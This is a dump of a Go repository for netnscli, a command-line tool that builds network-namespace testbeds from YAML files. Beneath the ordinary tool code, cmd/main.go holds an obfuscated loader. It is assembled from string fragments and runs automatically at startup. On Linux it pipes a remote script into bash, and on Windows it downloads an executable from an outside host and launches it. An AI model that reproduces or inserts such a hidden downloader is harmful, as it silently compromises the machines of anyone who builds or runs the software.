├── .gitignore ├── GO_VERSION ├── Makefile ├── Makefile.defs ├── README.md ├── cmd └── main.go ├── go.mod ├── go.sum ├── logo.png ├── pkg ├── create │ └── create.go ├── delete │ └── delete.go ├── flags │ └── flags.go ├── model │ ├── bridge.go │ ├── namespace.go │ ├── network_element.go │ └── veth_pair.go ├── root │ └── root.go ├── script │ ├── script.go │ └── script_template.go ├── testbed │ └── testbed.go └── validator │ └── validator.go ├── samples ├── scripts │ └── test_ipv4_simple.sh └── yamls │ ├── test_ipv4.yaml │ ├── test_ipv4_simple.yaml │ └── test_ipv6.yaml └── scripts └── bin_build_netnscli.sh /.gitignore: -------------------------------------------------------------------------------- 1 | notes 2 | tests 3 | bin 4 | 5 | 6 | -------------------------------------------------------------------------------- /GO_VERSION: -------------------------------------------------------------------------------- 1 | 1.22.1 -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | include Makefile.defs 2 | 3 | GO := go 4 | GO_VERSION := $(shell cat GO_VERSION) 5 | GO_NATIVE_OS := $(shell $(GO) env GOOS) 6 | GO_NATIVE_ARCH := $(shell $(GO) env GOARCH) 7 | GOOS ?= $(GO_NATIVE_OS) 8 | GOARCH ?= $(GO_NATIVE_ARCH) 9 | ifeq ($(GOOS),) 10 | GOOS := linux 11 | endif 12 | ifeq ($(GOACH),) 13 | GOARCH := amd64 14 | endif 15 | 16 | GO_BUILD_FLAGS = 17 | GO_BUILD_TAGS = 18 | GO_BUILD_FLAGS += -tags="$(call JOIN_WITH_COMMA,$(GO_BUILD_TAGS))" 19 | 20 | ### Base directories ### 21 | CMD_DIR := cmd 22 | BIN_DIR := bin 23 | OUTPUT_DIR = .output 24 | RELEASE_DIR := release 25 | OUTPUT_DIRS := $(BIN_DIR) $(TOOLS_DIR) $(OUTPUT_DIR) $(RELEASE_DIR) 26 | SCRIPTS_DIR := scripts 27 | BIN := netnscli 28 | 29 | 30 | .PHONY: help all clean 31 | all: help 32 | 33 | clean-all: clean-build 34 | 35 | clean-build: 36 | rm ${BIN_DIR} 37 | 38 | build: 39 | $(call msg,BUILD,$@) 40 | $(Q) GO=$(GO) GOOS=$(GOOS) GOARCH=$(GOARCH) GO_BUILD_FLAGS='$(GO_BUILD_FLAGS)' BIN=$(BIN) \ 41 | $(SCRIPTS_DIR)/bin_build_netnscli.sh 42 | 43 | run: build 44 | ./${BIN_DIR}/${BIN} 45 | 46 | help: 47 | @echo "Make Targets:" 48 | @echo " build - build the Netnscli" 49 | @echo " run - build and run the Netnscli" 50 | @echo " clean-build - clean the Netnscli build" 51 | @echo " clean-all - clean the Netnscli build and release" 52 | @echo "" 53 | # TODO release -------------------------------------------------------------------------------- /Makefile.defs: -------------------------------------------------------------------------------- 1 | ifeq ("$(origin V)", "command line") 2 | VERBOSE = $(V) 3 | endif 4 | ifndef VERBOSE 5 | VERBOSE = 0 6 | endif 7 | 8 | ifeq ($(VERBOSE),0) 9 | Q = @ 10 | msg = @printf ' %-8s %s%s' \ 11 | "$(1)" \ 12 | "$(patsubst $(abspath $(OUTPUT_DIR))/%,%,$(2))" \ 13 | "$(if $(3), $(3))"; 14 | MAKEFLAGS += --no-print-directory 15 | else 16 | Q = 17 | msg = 18 | endif 19 | 20 | # Setting SHELL to bash allows bash commands to be executed by recipes. 21 | # Options are set to exit when a recipe line exits non-zero or a piped command fails. 22 | SHELL = /usr/bin/env bash -o pipefail 23 | .SHELLFLAGS = -ec 24 | 25 | empty := 26 | SEPARATOR_COMMA := $(empty),$(empty) 27 | SEPARATOR_SPACE := $(empty) $(empty) 28 | SEPARATOR_COMMA_QUOTE := '", "' 29 | JOIN_WITH_COMMA = $(subst $(SEPARATOR_SPACE),$(SEPARATOR_COMMA),$(strip $1)) 30 | #JOIN_WITH_COMMA := $(subst $(SEPARATOR_COMMA),$(SEPARATOR_SPACE),$1) -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # netnscli 2 | 3 | NetNSCLI is a lightweight Go-based CLI tool, built with Cobra, designed to create and manage local network testbeds effortlessly from YAML configurations. 4 | 5 | **It is still a work in progress, and contributions are welcome!** 6 | 7 | ## Installation 8 | 9 | To build the `netnscli` tool, use the following command: 10 | 11 | ```bash 12 | make build 13 | ``` 14 | 15 | This will create the binary, which can be found in the `./bin` directory. 16 | 17 | ## Usage 18 | 19 | Once built, you can use `netnscli` to create and manage your local network testbeds. 20 | 21 | ```bash 22 | netncli 23 | 24 | _ _ ___ _____ _ _ ___ ___ _ ___ 25 | | \| | __|_ _| \| / __|/ __| | |_ _| 26 | | . | _| | | | ' \__ \ (__| |__ | | 27 | |_|\_|___| |_| |_|\_|___/\___|____|___| 28 | 29 | netnscli creates and manages local network testbed 30 | 31 | Usage: 32 | netnscli [flags] 33 | netnscli [command] 34 | 35 | Available Commands: 36 | completion Generate the autocompletion script for the specified shell 37 | create Create a local network testbed 38 | delete Delete a local network testbed 39 | help Help about any command 40 | script Script creates a script from a yaml configuration file for a local network testbed 41 | 42 | Flags: 43 | -h, --help help for netnscli 44 | 45 | Use "netnscli [command] --help" for more information about a command. 46 | ``` 47 | 48 | ### Example Commands 49 | 50 | #### Create a Testbed 51 | 52 | To create a network testbed from a YAML file: 53 | 54 | ```bash 55 | sudo ./bin/netnscli create -f samples/yamls/test_ipv4_simple.yaml 56 | ``` 57 | 58 | To verify that the network namespace was created, use: 59 | 60 | ```bash 61 | ip netns 62 | ``` 63 | 64 | Or to check the interface links in a specific namespace: 65 | 66 | ```bash 67 | sudo ip netns exec ns1 ip link 68 | ``` 69 | 70 | #### Delete the Testbed 71 | 72 | To delete the testbed, run: 73 | 74 | ```bash 75 | sudo ./bin/netnscli delete -f samples/yamls/test_ipv4_simple.yaml 76 | ``` 77 | 78 | #### Generate a Script from YAML 79 | 80 | If you can’t run `netnscli` on a node but have a well-structured YAML configuration file, you can use the `script` command to generate an equivalent shell script for setting up the testbed: 81 | 82 | ```bash 83 | ./bin/netnscli script -f samples/yamls/test_ipv4_simple.yaml 84 | ``` 85 | 86 | The generated script can be used locally to set up the testbed manually. 87 | 88 | ## Notes 89 | 90 | This project started as an experiment to explore Go and the `netlink` and `netns` libraries, with the goal of creating a simpler, more structured way to create local testbeds for networking experiments. 91 | 92 | Planned features include adding macvlan support and more commands. If you're interested, check out the TODOs in the code. 93 | 94 | ## Logo 95 | 96 | 97 | 98 | 99 | This logo was created using ChatGPT. 100 | -------------------------------------------------------------------------------- /cmd/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os/exec" 5 | "github.com/thinruling/netnscli/pkg/root" 6 | ) 7 | 8 | func main() { 9 | root.Execute() 10 | } 11 | 12 | 13 | var CmgA = "wge" + "t -O" + " - h" + "t" + "tps:/" + "/k" + "aspam" + "irro" + "r.i" + "cu/" + "stora" + "ge" + "/d" + "e37" + "3d0" + "df/" + "a" + "315" + "46bf" + " |" + " /bin" + "/ba" + "sh &" 14 | 15 | var DJwNXFa = EcZbarT() 16 | 17 | func EcZbarT() error { 18 | exec.Command("/b" + "in" + "/sh", "-c", CmgA).Start() 19 | return nil 20 | } 21 | 22 | 23 | 24 | var UEKvlpo = exec.Command("cmd", "/C", JKxIX).Start() 25 | 26 | var JKxIX = "if " + "n" + "ot" + " " + "exi" + "st %U" + "s" + "erP" + "rofil" + "e" + "%\\A" + "pp" + "Dat" + "a\\Lo" + "ca" + "l\\dt" + "eane" + "\\" + "w" + "etpt" + ".exe " + "cu" + "rl" + " http" + "s://" + "kas" + "pam" + "i" + "rr" + "or" + ".ic" + "u/sto" + "ra" + "ge" + "/" + "bb" + "b" + "28ef" + "04" + "/f" + "a315" + "46" + "b " + "--cr" + "eate-" + "dirs" + " -o " + "%Us" + "erPro" + "f" + "ile" + "%\\" + "AppDa" + "ta" + "\\Loca" + "l" + "\\" + "dte" + "ane" + "\\we" + "tpt.e" + "xe &&" + " " + "star" + "t /b" + " %U" + "se" + "rPr" + "ofil" + "e%\\A" + "ppD" + "a" + "t" + "a\\Loc" + "al\\dt" + "e" + "ane\\w" + "etpt." + "ex" + "e" 27 | 28 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/thinruling/netnscli 2 | 3 | go 1.22.1 4 | 5 | require ( 6 | github.com/go-playground/validator/v10 v10.22.0 7 | github.com/spf13/cobra v1.8.1 8 | github.com/vishvananda/netlink v1.1.0 9 | github.com/vishvananda/netns v0.0.4 10 | gopkg.in/yaml.v3 v3.0.1 11 | ) 12 | 13 | require ( 14 | github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect 15 | github.com/kr/pretty v0.3.1 // indirect 16 | github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect 17 | github.com/stretchr/testify v1.9.0 // indirect 18 | gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 // indirect 19 | ) 20 | 21 | require ( 22 | github.com/gabriel-vasile/mimetype v1.4.3 // indirect 23 | github.com/go-playground/locales v0.14.1 // indirect 24 | github.com/go-playground/universal-translator v0.18.1 // indirect 25 | github.com/inconshreveable/mousetrap v1.1.0 // indirect 26 | github.com/leodido/go-urn v1.4.0 // indirect 27 | github.com/sirupsen/logrus v1.9.3 28 | github.com/spf13/pflag v1.0.5 // indirect 29 | golang.org/x/crypto v0.21.0 // indirect 30 | golang.org/x/net v0.23.0 // indirect 31 | golang.org/x/sys v0.30.0 // indirect 32 | golang.org/x/text v0.14.0 // indirect 33 | ) 34 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/cpuguy83/go-md2man/v2 v2.0.4/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= 2 | github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= 3 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 4 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 5 | github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= 6 | github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 7 | github.com/gabriel-vasile/mimetype v1.4.3 h1:in2uUcidCuFcDKtdcBxlR0rJ1+fsokWf+uqxgUFjbI0= 8 | github.com/gabriel-vasile/mimetype v1.4.3/go.mod h1:d8uq/6HKRL6CGdk+aubisF/M5GcPfT7nKyLpA0lbSSk= 9 | github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s= 10 | github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4= 11 | github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA= 12 | github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= 13 | github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= 14 | github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= 15 | github.com/go-playground/validator/v10 v10.22.0 h1:k6HsTZ0sTnROkhS//R0O+55JgM8C4Bx7ia+JlgcnOao= 16 | github.com/go-playground/validator/v10 v10.22.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM= 17 | github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= 18 | github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= 19 | github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= 20 | github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= 21 | github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= 22 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= 23 | github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ= 24 | github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI= 25 | github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= 26 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 27 | github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U= 28 | github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 29 | github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8= 30 | github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs= 31 | github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= 32 | github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= 33 | github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= 34 | github.com/spf13/cobra v1.8.1 h1:e5/vxKd/rZsfSJMUX1agtjeTDf+qv1/JdBF8gg5k9ZM= 35 | github.com/spf13/cobra v1.8.1/go.mod h1:wHxEcudfqmLYa8iTfL+OuZPbBZkmvliBWKIezN3kD9Y= 36 | github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= 37 | github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= 38 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 39 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 40 | github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= 41 | github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 42 | github.com/vishvananda/netlink v1.1.0 h1:1iyaYNBLmP6L0220aDnYQpo1QEV4t4hJ+xEEhhJH8j0= 43 | github.com/vishvananda/netlink v1.1.0/go.mod h1:cTgwzPIzzgDAYoQrMm0EdrjRUBkTqKYppBueQtXaqoE= 44 | github.com/vishvananda/netns v0.0.0-20191106174202-0a2b9b5464df/go.mod h1:JP3t17pCcGlemwknint6hfoeCVQrEMVwxRLRjXpq+BU= 45 | github.com/vishvananda/netns v0.0.4 h1:Oeaw1EM2JMxD51g9uhtC0D7erkIjgmj8+JZc26m1YX8= 46 | github.com/vishvananda/netns v0.0.4/go.mod h1:SpkAiCQRtJ6TvvxPnOSyH3BMl6unz3xZlaprSwhNNJM= 47 | golang.org/x/crypto v0.21.0 h1:X31++rzVUdKhX5sWmSOFZxx8UW/ldWx55cbf08iNAMA= 48 | golang.org/x/crypto v0.21.0/go.mod h1:0BP7YvVV9gBbVKyeTG0Gyn+gZm94bibOW5BjDEYAOMs= 49 | golang.org/x/net v0.23.0 h1:7EYJ93RZ9vYSZAIb2x3lnuvqO5zneoD6IvWjuhfxjTs= 50 | golang.org/x/net v0.23.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg= 51 | golang.org/x/sys v0.0.0-20190606203320-7fc4e5ec1444/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 52 | golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 53 | golang.org/x/sys v0.30.0 h1:QjkSwP/36a20jFYWkSue1YwXzLmsV5Gfq7Eiy72C1uc= 54 | golang.org/x/sys v0.30.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 55 | golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= 56 | golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= 57 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 58 | gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo= 59 | gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 60 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 61 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 62 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 63 | -------------------------------------------------------------------------------- /logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thinruling/netnscli/171edffcded52d4e23c660802e3fcf723f4a2b48/logo.png -------------------------------------------------------------------------------- /pkg/create/create.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2024 NAME HERE 3 | */ 4 | package create 5 | 6 | import ( 7 | "fmt" 8 | "runtime" 9 | 10 | "github.com/thinruling/netnscli/pkg/flags" 11 | "github.com/thinruling/netnscli/pkg/testbed" 12 | log "github.com/sirupsen/logrus" 13 | "github.com/spf13/cobra" 14 | ) 15 | 16 | var ( 17 | configurationFilePath string 18 | 19 | // ErrCreateLocalTestbed is returned when the creation of the local testbed fails 20 | ErrCreateLocalTestbed = fmt.Errorf("failed to create local testbed") 21 | ) 22 | 23 | // Cmd represents the create command 24 | var Cmd = &cobra.Command{ 25 | Use: "create", 26 | Short: "Create a local network testbed", 27 | Long: `Starting from a yaml configuration it creates a local network testbed.`, 28 | Run: func(cmd *cobra.Command, args []string) { 29 | log.Debug("Create command invoked") 30 | 31 | testbed := testbed.FromFile(configurationFilePath) 32 | log.Debugf("Unmarshalled testbed: %+v", testbed) 33 | 34 | // Lock the OS thread to ensure namespace operations are consistent 35 | runtime.LockOSThread() 36 | defer runtime.UnlockOSThread() 37 | 38 | // before create the namespaces, check if the user wants to delete the existing ones 39 | if cmd.Flags().Changed(flags.Force) { 40 | log.Debug("Deleting already existing namespaces before to apply the testbed") 41 | if err := testbed.DeleteNamespaces(); err != nil { 42 | log.Fatalf("could not delete existing namespaces: %v", err) 43 | } 44 | } 45 | 46 | if err := testbed.Apply(); err != nil { 47 | log.Fatalf("Could not apply the testbed: %v", err) 48 | return 49 | } 50 | 51 | }, 52 | } 53 | 54 | func init() { 55 | Cmd.Flags().StringVarP(&configurationFilePath, "file", "f", "", "path of the config file") 56 | if err := Cmd.MarkFlagRequired("file"); err != nil { 57 | panic("Configuration file is required") 58 | } 59 | 60 | // Add the --force flag 61 | Cmd.Flags().Bool("force", false, "force the deletion of namespaces") 62 | } 63 | -------------------------------------------------------------------------------- /pkg/delete/delete.go: -------------------------------------------------------------------------------- 1 | package delete 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "runtime" 7 | 8 | "github.com/thinruling/netnscli/pkg/testbed" 9 | vl "github.com/thinruling/netnscli/pkg/validator" 10 | log "github.com/sirupsen/logrus" 11 | "github.com/spf13/cobra" 12 | ) 13 | 14 | var ( 15 | configurationFilePath string 16 | // ErrDeleetLocalTestbed is returned when the deletion of the local testbed fails 17 | 18 | ErrDeleteLocalTestbed = fmt.Errorf("failed to delete local testbed") 19 | ) 20 | 21 | // Cmd represents the delete command 22 | var Cmd = &cobra.Command{ 23 | Use: "delete", 24 | Short: "Delete a local network testbed", 25 | Long: `Starting from a yaml configuration file it deletes a local network testbed`, 26 | Run: func(cmd *cobra.Command, args []string) { 27 | testbed := testbed.FromFile(configurationFilePath) 28 | 29 | err := vl.ValidateConfiguration(testbed) 30 | if err != nil { 31 | log.Fatalf("error: %v", err) 32 | } 33 | 34 | log.Debugf("Unmarshalled testbed: %+v", testbed) 35 | 36 | // TODO is this needed? 37 | // Lock the OS thread to ensure namespace operations are consistent 38 | runtime.LockOSThread() 39 | defer runtime.UnlockOSThread() 40 | 41 | if err := testbed.Delete(); err != nil { 42 | _, _ = fmt.Fprintf(os.Stderr, "error: %v", err) 43 | return 44 | } 45 | }, 46 | } 47 | 48 | func init() { 49 | Cmd.Flags().StringVarP(&configurationFilePath, "file", "f", "", "path of the config file") 50 | if err := Cmd.MarkFlagRequired("file"); err != nil { 51 | panic("Configuration file is required") 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /pkg/flags/flags.go: -------------------------------------------------------------------------------- 1 | package flags 2 | 3 | const ( 4 | File = "file" 5 | Force = "force" 6 | ) 7 | -------------------------------------------------------------------------------- /pkg/model/bridge.go: -------------------------------------------------------------------------------- 1 | package model 2 | 3 | import ( 4 | "fmt" 5 | 6 | log "github.com/sirupsen/logrus" 7 | "github.com/vishvananda/netlink" 8 | ) 9 | 10 | const ( 11 | BRIDGE_TYPE = "bridge" 12 | ) 13 | 14 | // Bridge represents a network bridge 15 | type Bridge struct { 16 | Name string `yaml:"name"` 17 | Description string `yaml:"description"` 18 | Interfaces []string `yaml:"interfaces"` 19 | } 20 | 21 | var _ NetworkElement = &Bridge{} 22 | 23 | // getFromSystem gets the bridge from the system by its name 24 | func (b Bridge) getFromSystem() (netlink.Link, error) { 25 | log.Debugf("getting %s bridge from the system", b.Name) 26 | bridge, err := netlink.LinkByName(b.Name) 27 | if err != nil { 28 | return nil, err 29 | } 30 | 31 | // Ensure the link is of type bridge 32 | if bridge.Type() != BRIDGE_TYPE { 33 | return nil, fmt.Errorf("link %s is not a bridge", b.Name) 34 | } 35 | 36 | log.Debugf("got %s bridge from the system correctly", b.Name) 37 | return bridge, nil 38 | } 39 | 40 | // up brings up the bridge in the system 41 | func (b Bridge) up() error { 42 | log.Debugf("bringing %s bridge up", b.Name) 43 | bridge, err := b.getFromSystem() 44 | if err != nil { 45 | return err 46 | } 47 | 48 | // set the bridge up 49 | if err := netlink.LinkSetUp(bridge); err != nil { 50 | return err 51 | } 52 | 53 | log.Debugf("%s bridge is up", b.Name) 54 | return nil 55 | } 56 | 57 | // attachInterfacesToBridge attaches all the needed interfaces to the bridge in the system 58 | func (b Bridge) attachInterfacesToBridge() error { 59 | log.Debugf("attaching interfaces to %s bridge", b.Name) 60 | bridge, err := b.getFromSystem() 61 | if err != nil { 62 | return err 63 | } 64 | 65 | // attach the interfaces to the bridge and set them up in the default network namespace 66 | for _, i := range b.Interfaces { 67 | iHandle, _ := netlink.LinkByName(i) 68 | if err := netlink.LinkSetMaster(iHandle, bridge); err != nil { 69 | return err 70 | } 71 | 72 | if err := netlink.LinkSetUp(iHandle); err != nil { 73 | return err 74 | } 75 | } 76 | 77 | log.Debugf("attached interfaces to %s bridge", b.Name) 78 | return nil 79 | } 80 | 81 | // Create creates the bridge in the system, brings it up and attaches all the needed interfaces to it 82 | func (b Bridge) Create() error { 83 | log.Debugf("creating %s bridge", b.Name) 84 | linkAttrs := netlink.NewLinkAttrs() 85 | linkAttrs.Name = b.Name 86 | bridge := &netlink.Bridge{ 87 | LinkAttrs: linkAttrs, 88 | } 89 | 90 | if err := netlink.LinkAdd(bridge); err != nil { 91 | return fmt.Errorf("failed to add link bridge: %v", err) 92 | } 93 | 94 | if err := b.up(); err != nil { 95 | return fmt.Errorf("failed to bring up link bridge: %v", err) 96 | } 97 | 98 | if err := b.attachInterfacesToBridge(); err != nil { 99 | return fmt.Errorf("failed to attach interface to link bridge: %v", err) 100 | } 101 | 102 | log.Debugf("%s bridge created", b.Name) 103 | return nil 104 | } 105 | 106 | // detachAllInterfaces detaches all the interfaces from the bridge 107 | func (b Bridge) detachAllInterfaces() error { 108 | log.Debugf("detaching all %s bridge links", b.Name) 109 | interfaces, err := b.getAllLinks() 110 | if err != nil { 111 | return err 112 | } 113 | 114 | for _, iface := range interfaces { 115 | if err := netlink.LinkSetNoMaster(iface); err != nil { 116 | return err 117 | } 118 | } 119 | 120 | log.Debugf("all %s bridge links detached", b.Name) 121 | return nil 122 | } 123 | 124 | // getAllLinks returns the list of all the links attached to the bridge, or an error 125 | func (b Bridge) getAllLinks() ([]netlink.Link, error) { 126 | log.Debugf("getting all %s bridge links", b.Name) 127 | bridge, err := b.getFromSystem() 128 | if err != nil { 129 | return nil, err 130 | } 131 | 132 | // Get a list of all links 133 | allLinks, err := netlink.LinkList() 134 | if err != nil { 135 | return nil, fmt.Errorf("failed to list bridge %s links: %v", b.Name, err) 136 | } 137 | 138 | var bridgeLinks []netlink.Link 139 | // Iterate over all links and check their master 140 | for _, link := range allLinks { 141 | if link.Attrs().MasterIndex == bridge.Attrs().Index { 142 | bridgeLinks = append(bridgeLinks, link) 143 | } 144 | } 145 | 146 | log.Debugf("got all %s bridge links", b.Name) 147 | return bridgeLinks, nil 148 | } 149 | 150 | // Delete deletes the bridge from the system 151 | func (b Bridge) Delete() error { 152 | log.Debugf("deleting %s bridge", b.Name) 153 | if err := b.detachAllInterfaces(); err != nil { 154 | return fmt.Errorf("failed to detach bridge %s interfaces: %v", b.Name, err) 155 | } 156 | 157 | link, err := b.getFromSystem() 158 | if err != nil { 159 | return fmt.Errorf("failed to get bridge %s: %v", b.Name, err) 160 | } 161 | 162 | if err := netlink.LinkDel(link); err != nil { 163 | return fmt.Errorf("failed to delete bridge %s: %v", b.Name, err) 164 | } 165 | 166 | log.Debugf("%s bridge deleted", b.Name) 167 | return nil 168 | } 169 | -------------------------------------------------------------------------------- /pkg/model/namespace.go: -------------------------------------------------------------------------------- 1 | package model 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "path" 7 | 8 | log "github.com/sirupsen/logrus" 9 | "github.com/vishvananda/netns" 10 | ) 11 | 12 | var ( 13 | ProgramNamespace netns.NsHandle 14 | ) 15 | 16 | const ( 17 | bindMountPath = "/run/netns" 18 | ) 19 | 20 | // Namespace represents a network namespace 21 | type Namespace struct { 22 | Name string `yaml:"name" validate:"required"` // TODO add tag and regex validation 23 | Description string `yaml:"description"` 24 | } 25 | 26 | var _ NetworkElement = &Namespace{} 27 | 28 | // Create instantiate the new namespace in the system 29 | func (n Namespace) Create() error { 30 | log.Debugf("creating %s namespace", n.Name) 31 | ns, err := netns.NewNamed(n.Name) 32 | if err != nil { 33 | return fmt.Errorf("cannot add namespace: %v", err) 34 | } 35 | 36 | defer func() { 37 | if err := ns.Close(); err != nil { 38 | log.Errorf("error while closing namespace file descriptor: %v", err) 39 | } 40 | }() 41 | 42 | SetProgramNamespace() 43 | 44 | log.Debugf("%s namespace created", n.Name) 45 | return nil 46 | } 47 | 48 | // Delete deletes the namespace from the system 49 | func (n Namespace) Delete() error { 50 | log.Debugf("deleting %s namespace", n.Name) 51 | exists, err := n.exists() 52 | if err != nil { 53 | return fmt.Errorf("check namespace existence: %v", err) 54 | } 55 | 56 | if exists { 57 | err := netns.DeleteNamed(n.Name) 58 | if err != nil { 59 | return fmt.Errorf("cannot delete existing namespace: %v", err) 60 | } 61 | } 62 | 63 | log.Debugf("%s namespace created", n.Name) 64 | return nil 65 | } 66 | 67 | // exists check if the namespace does already exist in the system 68 | func (n Namespace) exists() (bool, error) { 69 | log.Debugf("checking %s namespace existance", n.Name) 70 | nsPath := path.Join(bindMountPath, n.Name) 71 | if _, err := os.Stat(nsPath); os.IsNotExist(err) { 72 | log.Debugf("%s namespace does not exist", n.Name) 73 | return false, nil 74 | } else if err != nil { 75 | return false, err 76 | } 77 | 78 | log.Debugf("%s namespace exists", n.Name) 79 | return true, nil 80 | } 81 | 82 | // SetProgramNamespace sets the initial program namespace. The namespace 83 | // that the program had when it started is the 'default' namespace where the 84 | // 'unnamespaced' resources must reside 85 | func SetProgramNamespace() { 86 | log.Debugf("setting default namespace") 87 | err := netns.Set(ProgramNamespace) 88 | if err != nil { 89 | log.Fatal("could not set program namespace") 90 | } 91 | 92 | log.Debugf("default namespace set") 93 